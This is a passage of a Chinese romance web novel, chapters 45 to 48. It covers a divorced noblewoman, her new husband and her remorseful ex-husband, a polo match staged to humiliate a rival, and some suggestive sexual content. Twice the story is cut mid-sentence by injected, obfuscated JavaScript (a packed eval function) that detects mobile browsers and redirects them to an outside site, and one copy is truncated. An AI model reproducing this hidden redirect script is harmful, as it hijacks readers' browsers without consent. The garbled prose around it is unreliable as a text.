于是,天还没亮,他便顶着昏涨的头去了素芳斋候着。待到一开肆便排起了队,排了三个时辰,才买到了这一屉笼的酥果,又马不停蹄地来送给她。 他只是想让她看见…… 他也在为了她而改变。 慕溶月陷入了缄默之中,像是在思考着什么。 谢羡风安静地等待着回音。下一瞬,他的血液却极速地凝结。 他无意间看到了慕溶月脖子上的吻痕。 一朵又一朵,密密层层,犹如红梅绽放于雪色之间。 宋景渊是故意为之的。 只为时刻提醒着谢羡风,昨夜都发生了什么。 他这一招奏效了。 谢羡风紧攥双拳,双目都泛起了红。 他的胸腔之中仿若藏有一头欲念的困兽,不停地抓挠、撞击,急切地寻找着出口。 脑海之中那个愈演愈烈的声音正在嘶吼。 他想用自己的吻覆盖掉那些不堪的痕迹。 他想蛮横地赶走所有妄图接近她的外人。 他想自私地抛开一切,将眼前之人据为己有。 激荡的情绪翻涌着——下一瞬,慕溶月却是伸出手,主动接过了他递出的屉笼。 这股即将冲破堤坝的洪流,终于在两人手指相触的瞬间——被遽然推上了最高峰。 紧接着,就是难以抑制的狂喜。 所幸,他那可耻的、痴狂的欲-望,已然被掩盖在了衣物的阴影之下,她看不出端倪。 谢羡风张开了干裂的薄唇。 喑哑、几乎是乞求的口吻。 “阿月……能不能,让我留在你的身边?” “哪怕……没有名分。” 45. 第四十五天 话音落下,空气陷入了死一般的寂静之中。 慕溶月凝滞在原地,脸上闪过惊诧、困惑、质疑……百感交织。 最后,狐疑地反问:“你知不知道,自己在说什么?” “……” 谢羡风不吭声了,只垂着头。慕溶月便以为他这是后悔口不择言了,哂笑了一下:“你说这话,不觉得自己显得很可笑么?” 谁知,谢羡风却猛地回过神来,反驳道。 “可笑?” “……我不在乎。” 他活在人世,经受过至亲分别、得而复失,从炼狱里走了一遭,九死一生。如今,他早就将所谓的好名声、伟功业都悉数抛之脑后。 到了现在,他什么也不在乎了。 他唯一渴求的, 就只有…… 谢羡风眼神灼灼,他炙热的目光隔空描摹着慕溶月的轮廓,仿佛要将她烫出一个洞来。 衣袂的长影之下,双拳隐忍颤抖。 慕溶月心间泛起了一丝涟漪。 “你就真的这么想与我复合?” 望着谢羡风的眼,慕溶月不禁回忆起了昨夜的场景。 昨日,到了后半夜,她便感到身后那股灼热的注视感……不知何时消失了。 谢羡风受了刺激,最终落荒而逃。 宋景渊的法子竟然真的起效了。 其实,最初让慕溶月来表演这一出羞耻的“春宫景”——她是有些抗拒的。 虽然她也曾和谢羡风赤-裸相对过,该经历的不该经历的也都经历了……但那种感觉,是不一样的。 毕竟,叫她当着前夫的面,与现任丈夫颠鸾倒凤……如此跌破伦理与羞耻底线的艳事,实在是需要莫大的勇气。 只是,慕溶月始终架不过宋景渊的热情,她的防备对上了他的进攻,就好似糖霜遇上温水便融化了,如此不堪一击。 况且…… 事态演变到了后面,慢慢地,她最深沉的心底竟然滋生出一股隐秘的…… 兴奋。 那强烈的背德感,简直令人脸红心跳……难以呼吸。 或许,是她的情感与欲-望皆被压抑了太久,一旦找到了发泄之口,便如同井喷般爆发。 她与谢羡风成婚两余载,谢羡风却鲜少真的与她行周公之实。 渐渐地,她便在这些细微琐碎的日复一日里日渐磋磨掉了自信,甚至于开始怀疑起了自己。 但这些不安的揣测,都在那夜之后被一一推翻。 如今,见到谢羡风为她而神魂颠倒、如痴如狂,慕溶月心底竟诡异地蔓延起了一股畅快之感。 此时此刻,提着素芳斋的酥果、向她低声道歉的谢羡风,无疑是对她愧疚的。 那么,她自然也就可以利用这分愧疚。 慕溶月停顿了几许,忽而改变了念头。 “那么,你能做到何种地步?” 说着,她再度抬首,审视一般的目光落在谢羡风身上,从头到尾,“……证明给我看。” 慕溶月没有破口大骂他没皮没脸; 也没有直接翻脸、叫来人将他赶走。 相反,她微歪起头,目光直白,静待着他的回复。 这样的反应,让谢羡风不由得眼前一亮,一时间有些——暗自的兴奋。 他很快便明白了她的意思。 “阿月,你需要我做什么?” 慕溶月也不与他兜弯子了,开门见山提出了自己的要求:“我打算在京城办一场马球会。” 闻此言,谢羡风眉心微滞,神色有几不可见的变化。 他曾经带慕溶月赴过一次马球的雅会,在莫府。 那次的经历,于二人而言,都不算太愉快。 他曾说过,他并不喜欢打马球,那只不过是权贵们附庸风雅的把戏。 她也知道这一点。 却还是主动邀请了他。 但是…… “可以,”谢羡风一口应承了下来,毫不犹豫,“只要你开心。” 闻言,慕溶月的脸色终于转柔了几分,眉眼弯弯,仿若被春日暖阳轻和照拂,谢羡风看得有几分恍惚。 他已经记不清她有多久未曾在自己面前展露过笑意了。 他很喜欢看慕溶月笑。 虽然,他不知道慕溶月为什么要突然办起了马球会,也不知为何她要邀请他同去。 但是, 只要她开心, 只要她不再拒他于千里之外。 “我会赴约的。” “好,那我就等着你来了。” 慕溶月莞尔一笑,便不再多说,扭身离开了。 谢羡风一直目送着她的背影消失,直到国公府的大门在他眼前合上。 其实,他喜欢慕溶月对他提出的要求,多过分也无所谓。 这会让他感觉,仿佛……她还是需要他的。 那么,他也就可以一直坚持下去, 哪怕只为了那一丝渺茫的希望。 谢羡风终于移开了眼,脑海中却是方才的画面在重复上演,直到他的心跳得越来越快。 言归正传, 方才,她并没有拒绝他的提议,对吧? …… 慕溶月推门进来时,宋景渊几乎是同一时间起身迎接她。 “夫人,如何了?” “他会来的。” 对于这个结果,宋景渊并不意外。 毕竟,以谢羡风的性子,怎么会轻易放过任何一个能接近慕溶月的机会? 比起这个,他更关心…… “方才我在那里盯了他半天,我谅他也不敢在我眼皮子底下对你动手动脚。”宋景渊紧张地抓着慕溶月的手臂,“但是,夫人,他没有在言语上轻薄了你吧?” 慕溶月摇了摇头。 “那便好。” 宋景渊总算是彻底放下了心。 接着,又重新说起了之前慕溶月的提议。 “至于你说的,想找到莫李二人的下落……” “我方才派人打听过了。莫氏自从两年前回了外祖家以后便鲜少有消息了,不过,以她如今的身份,并不难查到结果。”宋景渊顿了顿,“倒是李衡,据说从那之后便一直待在白江,哪里也没去。” “他们没在一起么?”慕溶月有些惊讶,“我以为,以李衡的性子,会像狗皮膏药一般纠缠着莫盈儿,至少……也会在暗中扶持她。” “我的傻夫人,”宋景渊笑着摸了摸慕溶月的脸,“他这分明就是求爱失败了呀。” “……嗯。”慕溶月轻轻点了头。 当年,她只是觉得李衡对她莫名的敌意来得蹊跷,后来四处问了问,才发觉,原来李衡早就暗中对莫盈儿有了情意。如此一来,她也就能够理解为何那时李衡总是处处针对她了。 她对莫盈儿没有成见,相反,当初见她落难,同为女性,她也难免唏嘘。如今也只是作为旧识,想要关心一番。 至于李衡…… 说全然释怀了,也太过假意。 然,只凭李衡的身份地位,不过是一个不足挂齿的无名小卒,不值得她特地多费什么心思去针对。 只是, 重提当年的事,她才发觉,自己心中还藏有一个隐蔽的结。 或许,只有与故人见上一面……她才能真正地解开心结吧。 “不过,既然夫人向我开口了,我自然会设法请来你的‘老朋友们’的,只为我家夫人助兴。”宋景渊笑了笑,又道,“到时候,夫人大可以随心折腾,就算是弄出人命来,也无所谓。” 他说这话时,语气随意任性,谈起人命,宛如信手碾死一只无关痛痒的蚂蚁。 慕溶月只是淡淡一笑。 “我可不想为了无关紧要的人弄脏了手。” “若不是你今日提起,我都快要忘了还有这号人了。” 宋景渊满意颔首:“不错,这才是堂堂平阳郡主该有的格局。” 慕溶月起身走到衣柜前,忽然话音一转问道: “对了,你喜欢什么颜色的衣裳?” “嗯?” “我在想,马球会上为你准备着装的事。既然我已经成了你的妻子,这些便也是我该考虑的分内之事了。” 慕溶月在那些五花八门的衣袍之间挑拣,手指却是游移不定,“只是,说起来,我还并未了解过你的喜好。” “这些都是小事,”宋景渊却是不以为意道,“你直接做主便好。” 慕溶月搭在长衫上的手指顿了一 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只见席间坐着一位眉如远黛、唇若樱桃的美人。她项间的金饰圆润晶莹,与头上的珠翠互为点缀。一袭锦绣华服,在日光的照耀下熠熠生辉。在她的身边簇拥着许多的仆从,坐一人手持遮阳盖,右一人轻晃蒲扇,面前还跪着一人为她剥着葡萄,恰似众星捧月,仿佛这场上的光彩皆为她一人所聚。 而美人身后,是一袭紫袍手持折扇的宋景渊。他见到远处的人影,笑着倾身,贴着慕溶月的耳畔低声道:“夫人,看是谁来了?” 李衡被左右两个侍卫架着押到了马场上,气愤得龇牙咧嘴。 前几日,他所在的军营莫名收到了一封未署名的信函,指名道姓地要他回京城。李衡不知道来信的人是谁,只知那人来头不小,连他的军长闻言都是脸色大变。 后来,他就被“五花大绑”地扔来了这里。一路上,看守的侍卫没给他好脸色看,他因此还吃了不少苦头。 李衡原以为,自己是无意间犯了什么事、又得罪了哪位京中权贵,没想到,对方这样大费周章地绑架他——竟然只是叫他来参加一个什么马会,真是无聊至极。 两位侍卫跟着李衡进了马场,却没让他直接坐到观景席里,而是将他押到了看台前。 “快跪下!” 李衡的膝盖被猛地打中,疼得跪在了地上。 他艰难地抬起头来,却是瞬间僵在了原地。 没想到,眼前是一张熟悉的脸孔。 ……慕溶月? 原来,是“老熟人”啊。 见她衣着打扮都华贵至极,一副高不可攀的姿态——李衡心中突然涌起一股无名火。这一路上憋攒的愤屈骤然爆发了起来。 “许久未见,慕娘子难道又忘记了,打马球该穿什么衣裳吗?” “哦……恕在下无礼,慕娘子如今已是高贵的国公夫人了。” 他这般故技重施,阴阳怪气地揶揄慕溶月,一是嘲讽她在马球场上穿得如此招摇。二便是讽刺她二嫁给了宋景渊一事。 当初李衡就不看好师兄与她的婚事,毕竟二人身份与家境都差得太大。后来,他便得知了二人和离的事,顿时拍手称快。这女人对师兄果然就是玩玩而已,如今装不下去了,便索性露出了本性——这便是上流阶级的丑恶嘴脸!还好师兄没有付出真心。 闻言,宋景渊一皱眉,将手中折扇猛地朝他头顶扔去—— “竖子,你想清楚自己是什么身份,也配这样同平阳郡主说话?” “来人,先将他打上二十大板!” 李衡眸中迸出几分恨意,慕溶月却轻按着宋景渊的手背,挥开了旁边的仆从,在众目睽睽之下,缓步走到了李衡的面前。 他跪在她脚下,她则缓缓弯腰,与他对视。 “是谁说,打马球就该穿得轻便素雅,才算大方得体?” “如今在我的地盘,规则如何,由我说了才算。” 闻言,李衡的脊背一僵。 他没想到,慕溶月竟会这样坦荡地反问自己。 她从前不是很怯懦、随波逐流的吗? “你身为宾客,赴宴却只穿这身粗布麻衣……”慕溶月骤然打断了他的思绪,尾音一转道,“便是对我的大不敬。” 说罢,她居高望着李衡,神色清冷。 “李氏,你可知错?” 46. 第四十六天 上一次,慕溶月在莫府的马球会上出了洋相,临时换了莫盈儿那不合身的行装,显得滑稽,才落下了笑柄。 这一次,李衡便以为,他能以同样的理由羞辱她。 可是,他不明白, 所谓礼义廉耻,不过是上层阶级用来操控人心的道具。 名利场上,谁掌握了主场,谁才掌握了制定规则的权利。 从前是慕溶月昏了头,才会被这些幼稚的障眼法牵着鼻子走,被名为情爱的枷锁困住,忘了自己原本的身份有多么的尊贵。 如今,她已经不是从前那个天真的少女了。 闻此言,李衡脸色一变,竟是一时哑口无言。 慕溶月挥一挥手,他便被一左一右两个侍卫架着押了出去。 过了一会儿,影从云集的桓王终于如约到场了。他被簇拥着来到了贵宾席,宋景渊便挽起慕溶月的手,同去接待这位贵客。 几句寒暄后,宋景渊使了个眼色,慕溶月便知,她该回避了。 慕溶月被杏雨搀着离开了贵客席,留出宋景渊与桓王独处谈事的空间。 接着,她在人群之中遥远地看见了一个熟悉的身影。 那女人身形高挑,衣着打扮却是质朴无华,好似一颗埋于尘土之中的宝珠。 她呆站在马场门口,一身粗布麻衣与周围举杯交错的众王公贵族格格不入,而她脸上怀着怅然之色,似是沉浸在不可追的往事之中,触景伤情。 是莫盈儿来了。 慕溶月一时间难以自抑地朝她走了过去。 “盈姑娘。” 多亏了宋景渊帮忙,她才得以事先查到了莫盈儿的下落,得知她投奔外祖后,现在正在老家乡县的某位官爷家里做着帮佣,来维持生计。 她已经褪去了女将的身份,往日风光不再。可她的面容却依旧精神焕发,背脊挺得笔直,可见,这几年的困顿磋磨并没有将她击倒,她仍旧是平凡生活中那个熠熠生辉的坚韧女子。 慕溶月不禁弯唇笑了笑。 有时候,她真该学习莫盈儿的韧劲。坚毅不拔,从不轻易言败。如此,才能于绝境中逢生。 闻声,莫盈儿的面色颤了颤,她寻着声望来,很快便认出了慕溶月,脸上的表情先是惊诧、犹疑,最后变得诚惶诚恐。 “小女见过郡主大人。” 她正要行大礼,慕溶月连忙主动扶住了她的手臂。 “你我之间,何须拘礼呢?” “盈姑娘……你如今过得还好么?” “多谢郡主关心,”莫盈儿的眼角有些泛红,嘴上却笑着,“方才他们说,这是郡主开设的马球会,小女起初还有些难以置信。如今亲眼看见郡主,这才有了几分实感。” “两年前,小女投奔了外祖家,期间试过许多法子寻生路,做过绣娘,也试过小商小贩,但外面那些人一听说我的身份,便如临大敌,恨不能将我拒于千里之外。最后,还是外祖母掏出嫁妆来为我在县丞府中说了一份帮佣的差事,赖以谋生。” 说到痛时,她难以抑制地含起了泪。 昔日光鲜亮丽的女将,如今却沦为罪臣之女,只能委身于人,当个无名的洒扫丫头,做些出卖体力的苦差事,生活处处受掣肘。 慕溶月一时间也有些难掩的悲戚。 “郡主大人,”好不容易与旧识见一面,莫盈儿也不想总沉浸在苦大仇深的气氛之中,便主动错开了话题,“……多年未见,小女一直盼着能与大人重逢。如今,小女带了一份薄礼想要献给大人,虽然并不贵重,却是小女的一番心意。” 说着,她便从怀中掏出了一个严严实实的包裹,层层揭开。 里面包着的,是一支头簪。 “小女不知郡主喜欢什么的,就斗胆……选了这枚簪子。” 那头簪镶嵌着一颗祖母绿宝石,样式和成色,放在满载奇珍异宝的国公府,都只能算是平平无奇,却是莫盈儿精挑细选之后、目前能拿得出的最好的了。 见她忐忑不定、小心试探的模样,慕溶月忽然想起了多年前,她也曾为莫盈儿准备过见面礼——那支不曾被她送出手的翡翠步摇。 那时的她,也是像莫盈儿今日这般,小心翼翼地试图取悦对方,生怕讨了嫌。 如今,两人地立场与姿态却是倒了过来。 慕溶月面上怅然,心里有些复杂的滋味。 “多谢,我很喜欢这礼物。”她道,“杏雨,为我收下吧。” 闻言,莫盈儿肉眼可见地松了口气,再度恢复了笑颜。 慕溶月又邀请她同去观礼席入座,一面指着远处,已然换上马球服的李衡道:“你瞧。” 莫盈儿一眼便看见了李衡,目光闪过一丝惊讶。 “你与他,现在还有联系么?” 莫盈儿摇了摇头,“从前,李衡是我的师弟。不过,自从我隐姓埋名,就断了和他的来往。” 慕溶月又问,“你觉得他是个怎样的人?” 莫盈儿沉默了几许,才回话:“从前他调皮顽劣,也曾惹出过不少祸事。只是……据我对他的了解,他虽品行不端,本质却不坏,只是缺少了管教。” “明白了。” 慕溶月会意地微微颔首。 “那么,便由他的师兄好好去管教他吧。” 宋景渊曾说,桓王最喜观摩激烈的马球之赛。 那么,她索性借花献佛,顺水推舟,来个一石二鸟。 见李衡已然准备好上场,慕溶月便再度叫来了他,又当着众人的面提议道:“既然李副将是有备而来,不如我们来一场马球赛,来为大家助兴吧?” 闻此言,李衡嗤笑一声。 昔日她是他的手下败将,输得那么狼狈,如今,她竟敢旧事重提,还要与他赛一场马球,难道还嫌自己不够丢人吗? 他可不会惯着这个娇滴滴的大小姐。 “没想到,平阳郡主还有这等闲心逸致。” “好啊,我还就怕郡主大人不敢提呢。” “看来,你是胜券在握了?”慕溶月忽而笑了一声,又扭过头道,“……谢将军,你觉得呢?” 话音落下,从屏风后走出了一个偌大的身影。 “不是你跟我比?”李衡这才反应了过来,脸色一僵,“……师兄?” 慕溶月笑了起来。 “既是助兴,若是少了观赏性,那还有什么趣味?” 方才,她已经叫人将后场的马皆换成了桀骜不驯的烈性品种,为接下来的这场球赛添油加火。 说罢,她还伸出手,亲自将谢羡风推了出去。 “去吧,打得尽兴些,可别出了洋相,叫我失望啊。” 她当然不会亲自和李衡比马球了。 人若是犯了两次同样蠢笨的错误,那还有什么意思? 这一次,她跳出了游戏规则,而变成了裁判席上的看客——变成了掌握审判权的那一方。 而斗兽场内的赛马们,便只能拼尽全力地相互角逐、争斗,只为博得高台上观者的一笑。 ——亦如她曾经那样。 李衡这时才知大事不妙,看着眼前一脸沉穆的谢羡风,自知技不如人,试图唤起他的怜悯。 “师兄,我……我可是你的师弟啊……” “不如,我们放个水,在他们面前装装样子、演演戏,师兄……你不会真的让我在这么多贵族面前丢了脸面吧?” “有说这个废话的精力,”谢羡风却兀地打断了他,冷言道,“不如好好让我看看分别这两年,你都学了多少真本事。” 李衡顿感欲哭无泪。 *** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过去的两年,他无数个凄冷的夜里犯起头风时,难忍的剧痛让他抛下了一切,唯一能记起的,就是这一盏魂牵梦绕的暖手茶。 慕溶月为他煮的暖手茶。 谢羡风强装镇定接过了那杯茶,却不舍得一饮而尽,而是仔细地啜抿,小口品着茶香,直到甘甜的茶水浸润咽喉,心头也涌上了一股暖意。 他一时有些恍惚。 “还是从前的味道。” 她还记着他的口味。 她又愿意为他泡茶了。 尽管隐约猜到,或许她的目的并不单纯,但饮茶入口的那一刻,似乎什么也都是值得的了。 谢羡风垂着头,看着手中那空净的杯盏出神,许久,只是艰涩地开口问, “……阿月,我们还能回到以前么?” 闻此言,慕溶月面上没有表情,手中却是一颤,那茶壶瞬地滑落在地,溅起了一滩水渍,还印在了她的衣角上。 “……嘶。” 慕溶月的脚尖也被茶水烫出了一圈水痕。 见状,谢羡风从桌上抽出了帕巾,快步来到了她跟前,旁若无人地在她面前单膝跪下。 接着,他轻轻地擦拭起了她的裙摆。 那粗大的手掌裹着薄茧,青筋鼓动,指节分明的长指捧着她的鞋尖,细致入微地擦拭着水渍,仿若对待一件易碎的珍宝。 单膝跪地,是他们武将的大礼。 寓意为,我臣服于你。 亦如谢羡风此刻对她的答复。 他心甘情愿做她的裙下之臣。 慕溶月微微一笑,已经明白了他的答案,也收回了脚:“好好休息吧,我先走了。” 谢羡风望着她决绝离去的背影,忽然心有不甘,贪得无厌地开了口—— “阿月——” “能让我再抱一次你么?” 47. 第四十七天 话音落地,慕溶月的背影显出了几分犹豫。 但最终,她却是停下了脚步。 ——是默认的意思。 谢羡风忽感幸福砸中了头顶,一阵头重脚轻的轻飘飘。 他没想到好运来得这样突然。迈出步伐,心情好似随风而起,心跳得快要爆炸了一般。 他健步如飞地走去,直到停在了慕溶月的身后,能近在咫尺地闻到她鬓发间若隐若现的馨香。 他伸出手,将她紧紧抱在怀里。 许久没有触碰过她的体温,温香软玉在怀,谢羡风压抑着那可耻、隐蔽的欲-望, 情不自禁埋首于她的颈肩,蹭了一蹭。 好想就这样一直留在她的身边。 忽然,他感觉自己的额头被一只手掌按住,往后推。 “谢羡风,”慕溶月冷淡的声音传来,“……够了。” 谢羡风只好悻悻地松开了手。 望着慕溶月渐行渐远的背影,他忽然想起,在他情窦未开时,曾以为自己是慕强的,只会被能将他蛮力打倒在地的女人吸引。 可如今, 柔弱温顺的慕溶月,温热的茶水都能将她的双指烫得泛红的、弱不禁风、需要人来保护的慕溶月…… 她煮的一盏茶,便能叫他心头蠢动; 她勾一勾手指,便能叫他俯首称臣。 原来,爱从来都不需要什么附加条件。 谢羡风暗自攥紧了双手。 在他的掌心里,还缠绕着方才从她鬓间顺下的几缕青丝。 空落落的,仿佛还残存着清香的温存。 *** 球杆挥动,彩球飞驰。 马球场上,两个雷厉风行的身影正驱马追逐,一时间,呼喊声、叫好声交织回荡。 骏马风驰电掣,谢羡风的身姿矫健,时而俯身击球,时而侧身闪躲——赛况几乎呈压倒性的优势。 李衡的球势开局便落了下风,谢羡风进攻势头十分迅猛,他很快便应接不暇——直到悬空的手臂被一记飞球狠狠击中,李衡当即痛得惊呼出声! “这比赛的结果已经毫无悬念了,这两人的水平差太多了,与其说是比赛,不如说是戏弄……” “不,用凌虐更为贴切吧。” 观礼席上传来一阵嘈杂的哄笑声。 李衡夹在这些非议声中,顿感面色无光、丢尽了颜面。 “……我输了,我输了。师兄,我错了。” 李衡丢掉了球杆,噗通一声跪倒在地。闻此言,谢羡风也缓缓直起了身子,握着缰绳跳下了马鞍。 这时,贵宾席上的桓王忽然鼓起了掌,皮笑肉不笑地点头:“好,打得好。” 他嘴上是对谢羡风的赞许,凝视着他的目光却如锋刃一般阴狠。 鼓完掌,桓王埋首于身旁的侍卫耳边,低声说了些什么。那侍卫应了声好,很快退下了。 宋景渊就在这时凑近慕溶月耳畔,“……鱼儿很快就要咬钩了。” …… 马球会结束后,桓王暗自派了两个亲信,去找到了谢羡风。 有了这场马球会的引荐,桓王自然就有了由头去约见他。可后者却是油盐不进,任凭桓王派去的人如何软硬兼施,都始终不为所动。 谢羡风素来都不是那类善于攀附权贵之人,如今面对桓王的无故召见,自然是态度冷淡。 如此一来,桓王对他就更是没了耐性。 “那姓宋的若真有诚意,就让他给我想办法去!” 桓王气得直接将桌上的书纸都掀翻在地。 台下的侍卫被砸了一脸,吓得连忙跪倒,试探地问道:“那……等抓到他人以后,王爷想如何处置这个逆子?” 桓王冷笑了一声。 “永绝后患。” 帘帐被一股阴冷的穿堂风掀起,空气之中是死一般的寂静。 “……属下明白了。” 最后,侍卫领了命,起身退了出去。 …… 另一旁,马场的营帐中。 赶走了桓王派来的人后,谢羡风独自换回了常服,正要掀开帘帐走出来,眼前却蓦地闯入了一抹熟悉的身影。 “师兄!” 久别重逢,莫盈儿热泪盈眶,几近喜极而泣。 “……盈儿,”谢羡风一时有些惊讶,“你怎么会在这里?” “是郡主派人接我来的。”莫盈儿破涕为笑,感慨地擦拭眼角泪珠,“她是个心软之人,虽然与我不过是几面之缘,却还一直关心着我。若不是她,我今日还真没有勇气与你们相认。” 听见莫盈儿毫不掩饰自己对于慕溶月真心的赞誉,谢羡风微微一笑,轻手放下了帘帐。 “这些年,你过得还好么?” “……糟透了。” 提及不愿谈起的话题,莫盈儿的面色也浮上了几分忧愁,她伸出了双手,昔日拿剑的手如今却布满了做粗活儿生出的老茧,和皲裂的冻疮。 “我如今成了大宅里的帮佣,过着猪狗不如的生活。管事的嬷嬷见我身份卑微,时常克扣我的月钱和米粮,还诬陷我是个不祥之人,动辄对我打骂、用家法。我不愿认命,可这样的日子……何时是个头呢?” “成日困在那大宅院中,受命于人,浑浑噩噩、生不如死。师兄,我想另寻出路,再也不想过寄人篱下的日子了。” 谢羡风很快便明白了她的弦外之音。 “所以,你想投靠我?” 莫盈儿心中忐忑,试探地点了点头。 谢羡风却自嘲一般轻笑了一声,反问她:“师父的事后,我也被贬去了荆川。你看我如今的模样,又如何能帮得上你?” 莫盈儿终于止不住叹了口气。 “或许,我今日不该来的。” 见她频频受挫,灰心意冷的模样,谢羡风忽然开口叫住了她的背影。 “也许,你可以去求溶月。” “……什么?” 莫盈儿惊诧地回过头来,不止是因为谢羡风让她去找慕溶月求情,也是因为他私底下竟亲昵地唤起了慕溶月的闺名。 要知道,即使是他们还未和离时,谢羡风在外人面前,也总是一板一眼地称呼慕溶月的全名。 谢羡风望着莫盈儿,郑重其事道:“你都说了,她是个心软之人。你去求求她,她说不定会同情你的境遇,继而为你寻一份差事的。” 见他表情是认真的,莫盈儿一时迟疑:“这样……可以吗?” 谢羡风停顿片刻,却又补充道。 “若她真的容许你留在她的身边……我会再额外多付你一份月酬。” 闻此言,莫盈儿彻底愣怔在了原地。 “师兄……你这是想收买我,让我做你的眼线?” “不是眼线,”谢羡风打断道,“我希望你能保护好她。” 虽然,这话中,的确藏了几分自己的私心。 “如今她年纪青青便被封为一郡之主,受万民爱戴,纵观皇室贵族里,也只有她一个人有如此殊荣。但树大招风,她身边也需要一个能保护她的亲信。”谢羡风顿了顿,抬眸看向她,“你武功高强,又与我相识多年。这些人里,我只信你。” 谢羡风神色凝重,看得出是认真在为慕溶月的将来着想。 莫盈儿盯着他,却忽然感到一阵陌生,一时不知该说什么好了。 谢羡风拜入师门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804113|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,与她一同长大。记忆之中,谢羡风总是冷情冷性,孤高自许。相识多年,她却从未见过谢羡风对一个女人这般关怀备至的模样,甚至不惜……用这样的方式去讨好。 那个女人甚至是她的前妻。 “如今平阳郡主已经另嫁了他人,你还这般为她筹谋……”莫盈儿不禁反问,“若是被她知道了,是不是就有些越界了?” “所以,”谢羡风定定道,“不要让她知道。” 莫盈儿见他这幅用情之深到了几分卑微的姿态,心中不免划过一丝酸涩之意。 “师兄,你就这般在意她?” 语气之中带着几分的无奈。 “既然这么爱她,当初又何必与她和离呢?” “不是和离,”谢羡风平静道,“是她休了我。” “什么?”莫盈儿再度瞠目结舌,“可是,为什么呢?当初,不是她最先爱你爱到亲自去求来了陛下的赐婚,如今又怎么会转了性,把你休了?你们之间到底发生什么了?” 莫盈儿的话犹如一记回旋镖,在谢羡风的心中掀起了阵阵波澜。往事一幕幕如云烟在眼前浮现,他终于无法再冷静自持,扭过头去。 当初,是他不够珍惜,如今已经悔之莫及。 “……盈儿,你别再问了。” “当年的事,是我不好。” “所以……如今,我只想好好地补偿她。” 见他神色落寞,莫盈儿几不可闻地叹了口气,心中也有些说不清道不明的意味。 但是,她最终还是应承了下来。 “师兄,我明白了。” “既然这是你的心愿,那我会尽力护着她的。” …… 慕溶月登上了马轿,本都已经准备打道回府了。 但下一刻,她忽然看见马轿后多了一个熟悉的身影,正跌跌撞撞地朝她奔来。 竟是莫盈儿。 慕溶月正想叫住马夫,身旁的丫鬟杏雨却忽然关心地按住了她,“小姐……且慢!” 慕溶月疑惑地看去,杏雨便小声地提醒她: “其实,奴婢一直不敢说。方才小姐在马场上与莫姑娘言笑叙旧时,奴婢看见,已经有旁人认出了莫姑娘的身份,因为见到小姐与她交谈……还招惹来了不少闲话。” 慕溶月神色一滞,杏雨又喃喃地补充了句,“小姐做到如今的平阳郡主之位并不容易,以莫姑娘如今的身份……咱们还是少招惹为妙。” 慕溶月知道她的意思。 莫盈儿是罪臣之女,她沦落到今日的惨况,与她背上谋逆之罪的亲生父亲脱不开关系。而她自然便希望主子慕溶月能够明哲保身,远离这些非议。 只是…… “以我对莫盈儿的了解,她有自己的风骨气节。如今她忍耐着来找我,定是碰见了什么要紧的难关。” 慕溶月停顿了片刻,道。 “当初,我在马场受窘,是她让我换上了她的衣裳为我解围。那时,她也是唯一一个没有排挤我的人。” 她不由得想起了初见莫盈儿时,她折在桌上的那只纸鸢;想起了昔日莫盈儿灿烂如烈阳高照的笑颜,邀请她一同来莫府与她放飞鸢。 “所以,如今她落魄了,我也不能做那个忘恩负义之人。若我今天只想着保住名声,而将她远远撇开……那往后无数个失眠的夜里,我都会后悔,今日为何没能为她而留步,哪怕只是听一听她遇上了什么难处。” 乱世当道,生死无常。 那终究是一条鲜活的生命。 见状,杏雨也明白了慕溶月的心意,便不再多言。 她知道,主子终究还是重情重义的。 “停车吧。” 48. 第四十八天 莫盈儿也没想到,慕溶月竟然真的愿意停下车来等她,听她说完心里憋攒许久的辛酸苦水。 她一时间热泪盈眶,抓着慕溶月的手臂,一番话说得,连嗓音也沙哑了。 慕溶月听完了她的讲述,皱了皱眉心,没有急着给予答复,而是沉思道。 “……我需要考虑一下。” 莫盈儿原也没想过她会爽快地答应下来,这本来就是一件强人所难的事。于是,她端正地行了个礼,致谢道:“郡主愿意停下车马来听民女叨扰一番,民女已经很是感激,无论最后民女能不能留在郡主身边,民女都对郡主今日的仁善心怀感恩,没齿难忘。” 慕溶月轻轻一笑,从怀里拿出了两块银宝,交到了莫盈儿手里。 “你去找个客栈临时歇脚。这几日,你就当是来京城散心了,好好休息吧。” 莫盈儿感激不尽,又是福身行了个礼,这才转身离开了。 …… 直到回到了马轿之内,车厢里的空气很是寂静。 慕溶月一言不发,而只是默默地望着手中的那支发簪,祖母绿宝石散发着灿亮的光芒。 她神色晦暗,没有再说话。 …… 国公府的夜晚,檐廊下的灯笼逐渐亮了起来。 应酬完回到家中,宋景渊已是一身的酒气。他将外衣一挂,带着三分醉意来到了寝房。 油灯还亮着,慕溶月正围坐在圆桌前,一旁的桌上还摆着一支镶嵌了宝石的头簪。 “夫人,怎么了,可是有心事么?” 宋景渊围拢了过去,将手心覆在她的手背上,顺着她的目光望去。 “这簪子样式挺普通的啊,怎么一直盯着看,有什么特别之处么?” 慕溶月顿了顿,抬首望向他。 “这是莫盈儿送给我的。” 宋景渊捻起那枚头簪,反复地瞧了瞧:“噢,就是你的旧友,老莫家的女儿吧。” 慕溶月点头,宋景渊便明白了她的意思。 这是想听他的建议,才特意将这头簪放在了他面前的桌上呢。 “她一个女流之辈,倒是掀不起什么风浪来。”宋景渊只瞧了几眼,就又将簪头放回了原处,朝慕溶月一笑道,“但凭你做主吧。你若觉得值得,便留她下来。我没什么意见。” 得到了宋景渊的支持,慕溶月点了点头,表情也和缓了几分。 “我只是觉得,她毕竟是个难得优秀的女子,她的才能不该被埋没。” 宋景渊笑了一下,“好,那就依你的吧。” 慕溶月轻轻颔首。 “多谢夫君理解。” “杏雨,去拿笔墨来。” 